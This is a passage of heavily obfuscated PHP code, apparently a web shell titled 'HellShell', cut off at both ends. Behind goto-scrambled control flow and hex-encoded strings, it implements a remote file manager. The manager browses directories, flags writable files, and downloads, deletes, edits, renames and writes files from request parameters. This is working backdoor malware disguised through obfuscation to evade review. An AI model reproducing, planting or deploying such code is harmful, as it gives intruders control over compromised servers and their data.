ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . "\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo "\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= 